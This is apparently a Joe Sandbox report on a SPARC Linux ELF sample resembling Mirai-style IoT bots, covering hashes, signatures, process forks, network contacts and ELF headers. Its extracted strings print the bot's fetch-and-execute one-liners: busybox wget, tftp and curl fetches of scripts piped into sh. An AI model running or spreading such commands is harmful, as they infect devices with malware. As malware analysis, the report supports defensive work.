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Linux Analysis Report
sparc.elf

Overview

General Information

Sample name:	sparc.elf
Analysis ID:	1575509
MD5:	a3b353e15c5a304ad11275581f5eb885
SHA1:	d78b5e9717c40c5e5d1c6e5917683786c233e7f6
SHA256:	701032ddb724b700f1b19a01014375646e87ee8a4338ec164944afd0c7f7d8f5
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Performs DNS TXT record lookups

Sample reads /proc/mounts (often used for finding a writable filesystem)

Uses STUN server to do NAT traversial

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575509
Start date and time:	2024-12-15 20:27:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sparc.elf
Detection:	MAL
Classification:	mal60.troj.evad.linELF@0/122@3/0

Runtime Messages

Command:	/tmp/sparc.elf
PID:	5452
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	snow slide
Standard Error:

Process Tree

system is lnxubuntu20

sparc.elf (PID: 5452, Parent: 5377, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/sparc.elf

sparc.elf New Fork (PID: 5455, Parent: 5452)

sparc.elf New Fork (PID: 5467, Parent: 5455)

sparc.elf New Fork (PID: 5471, Parent: 5455)

sparc.elf New Fork (PID: 5492, Parent: 5455)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: sparc.elf

ReversingLabs: Detection: 26%

Source: sparc.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- | shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: global traffic	TCP traffic: 192.168.2.13:60102 -> 212.192.12.67:8001
Source: global traffic	TCP traffic: 192.168.2.13:34534 -> 77.232.43.100:8001
Source: global traffic	UDP traffic: 192.168.2.13:55140 -> 74.125.250.129:19302

Source: unknown	TCP traffic detected without corresponding DNS query: 32.240.223.250
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.208.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.238.162.12
Source: unknown	TCP traffic detected without corresponding DNS query: 208.3.173.44
Source: unknown	TCP traffic detected without corresponding DNS query: 178.73.0.28
Source: unknown	TCP traffic detected without corresponding DNS query: 132.253.215.100
Source: unknown	TCP traffic detected without corresponding DNS query: 27.130.108.70
Source: unknown	TCP traffic detected without corresponding DNS query: 135.213.135.79
Source: unknown	TCP traffic detected without corresponding DNS query: 169.255.65.168
Source: unknown	TCP traffic detected without corresponding DNS query: 103.115.127.212
Source: unknown	TCP traffic detected without corresponding DNS query: 98.127.229.189
Source: unknown	TCP traffic detected without corresponding DNS query: 24.219.231.102
Source: unknown	TCP traffic detected without corresponding DNS query: 99.109.182.191
Source: unknown	TCP traffic detected without corresponding DNS query: 106.209.195.77
Source: unknown	TCP traffic detected without corresponding DNS query: 216.177.114.111
Source: unknown	TCP traffic detected without corresponding DNS query: 78.130.62.149
Source: unknown	TCP traffic detected without corresponding DNS query: 182.255.93.243
Source: unknown	TCP traffic detected without corresponding DNS query: 123.244.144.26
Source: unknown	TCP traffic detected without corresponding DNS query: 203.12.143.134
Source: unknown	TCP traffic detected without corresponding DNS query: 26.37.72.148
Source: unknown	TCP traffic detected without corresponding DNS query: 83.201.224.73
Source: unknown	TCP traffic detected without corresponding DNS query: 132.77.94.136
Source: unknown	TCP traffic detected without corresponding DNS query: 98.43.89.78
Source: unknown	TCP traffic detected without corresponding DNS query: 217.56.225.73
Source: unknown	TCP traffic detected without corresponding DNS query: 75.233.209.89
Source: unknown	TCP traffic detected without corresponding DNS query: 114.32.89.83
Source: unknown	TCP traffic detected without corresponding DNS query: 80.100.124.214
Source: unknown	TCP traffic detected without corresponding DNS query: 85.109.39.93
Source: unknown	TCP traffic detected without corresponding DNS query: 176.59.239.49
Source: unknown	TCP traffic detected without corresponding DNS query: 177.157.220.180
Source: unknown	TCP traffic detected without corresponding DNS query: 18.213.135.86
Source: unknown	TCP traffic detected without corresponding DNS query: 63.83.17.143
Source: unknown	TCP traffic detected without corresponding DNS query: 95.93.181.147
Source: unknown	TCP traffic detected without corresponding DNS query: 154.106.35.73
Source: unknown	TCP traffic detected without corresponding DNS query: 61.154.189.205
Source: unknown	TCP traffic detected without corresponding DNS query: 156.248.122.180
Source: unknown	TCP traffic detected without corresponding DNS query: 52.64.69.17
Source: unknown	TCP traffic detected without corresponding DNS query: 209.74.77.148
Source: unknown	TCP traffic detected without corresponding DNS query: 98.158.3.218
Source: unknown	TCP traffic detected without corresponding DNS query: 9.6.34.210
Source: unknown	TCP traffic detected without corresponding DNS query: 129.218.137.246
Source: unknown	TCP traffic detected without corresponding DNS query: 100.192.131.68
Source: unknown	TCP traffic detected without corresponding DNS query: 187.85.191.51
Source: unknown	TCP traffic detected without corresponding DNS query: 203.68.96.98
Source: unknown	TCP traffic detected without corresponding DNS query: 181.12.81.187
Source: unknown	TCP traffic detected without corresponding DNS query: 70.85.237.118
Source: unknown	TCP traffic detected without corresponding DNS query: 45.70.66.190
Source: unknown	TCP traffic detected without corresponding DNS query: 56.207.192.177
Source: unknown	TCP traffic detected without corresponding DNS query: 214.104.185.80
Source: unknown	TCP traffic detected without corresponding DNS query: 207.162.231.179

Source: global traffic	DNS traffic detected: DNS query: stun.l.google.com
Source: global traffic	DNS traffic detected: DNS query: cve-2021-36260.ru

Source: sparc.elf	String found in binary or memory: http:///curl.sh
Source: sparc.elf	String found in binary or memory: http:///telnet.sh

Source: Initial sample	String containing 'busybox' found: busybox cat /proc/self/cmdline
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /telnet.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: busybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- \| shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/5260/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/5399/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/3763/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/3646/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/134/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/sparc.elf (PID: 5471)	File opened: /proc/936/cmdline	Jump to behavior

Source: sparc.elf, 5452.1.00005558d4bdb000.00005558d4c40000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: sparc.elf, 5452.1.00005558d4bdb000.00005558d4c40000.rw-.sdmp	Binary or memory string: XU!/etc/qemu-binfmt/sparc
Source: sparc.elf, 5452.1.00007ffc37850000.00007ffc37871000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc
Source: sparc.elf, 5452.1.00007ffc37850000.00007ffc37871000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sparc.elf

Source: Traffic	DNS traffic detected: queries for: cve-2021-36260.ru
Source: Traffic	DNS traffic detected: queries for: cve-2021-36260.ru

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Antivirus Detection	Reputation
stun.l.google.com	74.125.250.129	true	false		high
cve-2021-36260.ru	unknown	unknown	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
37.91.61.31	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
5.100.101.21	unknown	Russian Federation	42038	VLADLINK-ASRU	false
7.42.114.218	unknown	United States	3356	LEVEL3US	false
86.164.146.169	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
161.0.231.0	unknown	Trinidad and Tobago	27665	ColumbusCommunicationsTrinidadLimitedTT	false
113.145.215.138	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
25.229.140.202	unknown	United Kingdom	7922	COMCAST-7922US	false
104.210.95.100	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
193.9.2.143	unknown	European Union	3549	LVLT-3549US	false
91.172.5.160	unknown	France	12322	PROXADFR	false
203.12.143.134	unknown	Australia	133091	NMIT-AS-APNORTHERNMELBOURNEINSTITUTEOFTAFEAU	false
125.116.96.36	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
84.139.135.107	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
200.238.119.5	unknown	Brazil	10938	AGENCIAESTADUALDETECNOLOGIADAINFORMACAO-ATIBR	false
60.172.166.0	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
11.219.35.35	unknown	United States	3356	LEVEL3US	false
165.225.90.220	unknown	United States	62044	ZSCALER-EMEACH	false
117.116.92.248	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
110.24.234.101	unknown	Taiwan; Republic of China (ROC)	9674	FET-TWFarEastToneTelecommunicationCoLtdTW	false
219.121.248.30	unknown	Japan	18121	INCLIshikawaComputerCenterCoLTDJP	false
2.234.206.194	unknown	Italy	12874	FASTWEBIT	false
207.168.90.210	unknown	United States	4565	MEGAPATH2-US	false
86.61.196.57	unknown	Czech Republic	15425	COMACZ	false
123.27.152.84	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
149.159.54.218	unknown	United States	87	INDIANA-ASUS	false
70.109.46.138	unknown	United States	5650	FRONTIER-FRTRUS	false
156.248.122.180	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
81.36.208.33	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
69.173.239.121	unknown	United States	19515	ORICOM-QUEBEC1CA	false
110.120.250.191	unknown	China	38370	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
89.46.31.83	unknown	Romania	39425	ELECTROSIM-ASRO	false
19.129.90.32	unknown	United States	3	MIT-GATEWAYSUS	false
118.68.198.92	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
92.230.241.16	unknown	Germany	6805	TDDE-ASN1DE	false
176.81.103.96	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
161.52.167.90	unknown	Sweden	43922	MALMOSE	false
41.174.9.21	unknown	South Africa	30844	LIQUID-ASGB	false
196.143.13.133	unknown	Egypt	36935	Vodafone-EG	false
189.200.162.31	unknown	Mexico	13591	MexicoReddeTelecomunicacionesSdeRLdeCVMX	false
115.233.195.236	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BT-UK-ASBTnetUKRegionalnetworkGB	sh4.elf	Get hash	malicious	Unknown	Browse	86.148.200.183
	mips.elf	Get hash	malicious	Unknown	Browse	109.158.56.37
	arm6.elf	Get hash	malicious	Unknown	Browse	86.145.153.34
	spc.elf	Get hash	malicious	Unknown	Browse	86.191.118.133
	m68k.elf	Get hash	malicious	Unknown	Browse	217.33.105.85
	bot.m68k.elf	Get hash	malicious	Mirai	Browse	31.122.161.114
	bot.ppc.elf	Get hash	malicious	Mirai	Browse	31.121.171.217
	bot.x86.elf	Get hash	malicious	Mirai	Browse	31.121.171.208
	bot.arm.elf	Get hash	malicious	Mirai	Browse	31.121.171.209
	armv5l.elf	Get hash	malicious	Mirai	Browse	81.137.157.179
DTAGInternetserviceprovideroperationsDE	ppc.elf	Get hash	malicious	Unknown	Browse	62.156.228.147
	arm7.elf	Get hash	malicious	Unknown	Browse	37.94.133.134
	arm6.elf	Get hash	malicious	Unknown	Browse	87.130.77.57
	mips.elf	Get hash	malicious	Unknown	Browse	84.182.152.230
	ppc.elf	Get hash	malicious	Unknown	Browse	87.173.34.198
	m68k.elf	Get hash	malicious	Unknown	Browse	80.142.30.230
	arm5.elf	Get hash	malicious	Unknown	Browse	84.179.182.134
	mpsl.elf	Get hash	malicious	Unknown	Browse	79.208.241.210
	bot.m68k.elf	Get hash	malicious	Mirai	Browse	31.247.60.247
	bot.ppc.elf	Get hash	malicious	Mirai	Browse	62.155.238.229
VLADLINK-ASRU	sh4.elf	Get hash	malicious	Mirai	Browse	109.126.35.29
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	46.37.130.37
	spc.elf	Get hash	malicious	Mirai	Browse	109.126.35.41
	6BTZGMvUv1.elf	Get hash	malicious	Unknown	Browse	109.126.47.38
	aKCWAogE2U.elf	Get hash	malicious	Mirai	Browse	37.8.158.187
	tL98mBWW8p.elf	Get hash	malicious	Mirai	Browse	37.8.158.196
	I72po0MZQY.elf	Get hash	malicious	Mirai	Browse	37.8.158.147
	7JMZptc2C3.elf	Get hash	malicious	Mirai	Browse	37.8.145.86
	b3astmode.x86.elf	Get hash	malicious	Mirai	Browse	109.126.11.70
	YGPDW8cL6B.elf	Get hash	malicious	Mirai	Browse	109.126.35.55
LEVEL3US	ppc.elf	Get hash	malicious	Unknown	Browse	6.121.167.170
	arm7.elf	Get hash	malicious	Unknown	Browse	4.210.184.218
	arm6.elf	Get hash	malicious	Unknown	Browse	4.73.138.164
	mips.elf	Get hash	malicious	Unknown	Browse	9.142.62.227
	arm6.elf	Get hash	malicious	Unknown	Browse	4.52.38.178
	spc.elf	Get hash	malicious	Unknown	Browse	9.177.93.106
	ppc.elf	Get hash	malicious	Unknown	Browse	9.83.120.191
	m68k.elf	Get hash	malicious	Unknown	Browse	4.111.140.140
	arm5.elf	Get hash	malicious	Unknown	Browse	4.151.116.246
	bot.arm.elf	Get hash	malicious	Mirai	Browse	4.54.185.98

Process:	/tmp/sparc.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.640223928941852
Encrypted:	false
SSDEEP:	3:TgS+7ln:TgSw
MD5:	E754DCC5D4DD89F9EC16ABB89B2BA260
SHA1:	8861DDFE96205E9191DCCA84F949E0DCBA2ED78E
SHA-256:	01AAD98AC0714F40DE31DFD686E65A3392D9E62F52F1BAC95C9D2448905FA3C6
SHA-512:	C4432A5967956AB8A7349388E9CB92E07E27954DDFF2D9E1028B22D988B5D38BB56EBF66CA942DA8188EF799BB1A09C8BD8B85A89E9BD3703E5BB091D22CF76E
Malicious:	false
Reputation:	low
Preview:	/tmp/sparc.elf.

Process:	/tmp/sparc.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.640223928941852
Encrypted:	false
SSDEEP:	3:TgS+7ln:TgSw
MD5:	E754DCC5D4DD89F9EC16ABB89B2BA260
SHA1:	8861DDFE96205E9191DCCA84F949E0DCBA2ED78E
SHA-256:	01AAD98AC0714F40DE31DFD686E65A3392D9E62F52F1BAC95C9D2448905FA3C6
SHA-512:	C4432A5967956AB8A7349388E9CB92E07E27954DDFF2D9E1028B22D988B5D38BB56EBF66CA942DA8188EF799BB1A09C8BD8B85A89E9BD3703E5BB091D22CF76E
Malicious:	false
Reputation:	low
Preview:	/tmp/sparc.elf.

Name	Source	Malicious	Antivirus Detection	Reputation
http:///telnet.sh	sparc.elf	false		high
http:///curl.sh	sparc.elf	false		high

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.9909132021395655
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sparc.elf
File size:	96'404 bytes
MD5:	a3b353e15c5a304ad11275581f5eb885
SHA1:	d78b5e9717c40c5e5d1c6e5917683786c233e7f6
SHA256:	701032ddb724b700f1b19a01014375646e87ee8a4338ec164944afd0c7f7d8f5
SHA512:	93114e343fa603d207440e143d6846f47b6394ed2fae3a161383c98f53e30c9ec4e9abb219d272f1fbcf26ed27d94717dded845f360d9474a71abb4331347b35
SSDEEP:	1536:FDgf37j94O7z1OtHSWMnDctk8EgrqOhg7APlNVE6U2enreIFK/Igsv+QXVrb7B4H:JgfP94MROhXErejFeXleOJ2gSCjHo
TLSH:	DE934D217A7A0F17C5E0A13991F3D23BF2FA47892478C51FBE610E4CAB4996036576F8
File Content Preview:	.ELF...........................4..vd.....4. ...(......................r...r...............r...r...r....T..Ep..............s...s...s.................dt.Q................................@..(....@.W.................#.....b...`.....!..... 4..@.....".........`

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101c4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	95844
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x100b4	0xb4	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100d0	0xd0	0x16030	0x0	0x6	AX	4
.fini	PROGBITS	0x26100	0x16100	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x26118	0x16118	0x11a0	0x0	0x2	A	8
.eh_frame	PROGBITS	0x372b8	0x172b8	0x48	0x0	0x3	WA	4
.tbss	NOBITS	0x37300	0x17300	0x8	0x0	0x403	WAT	4
.ctors	PROGBITS	0x37300	0x17300	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x37308	0x17308	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x37310	0x17310	0x4	0x0	0x3	WA	4
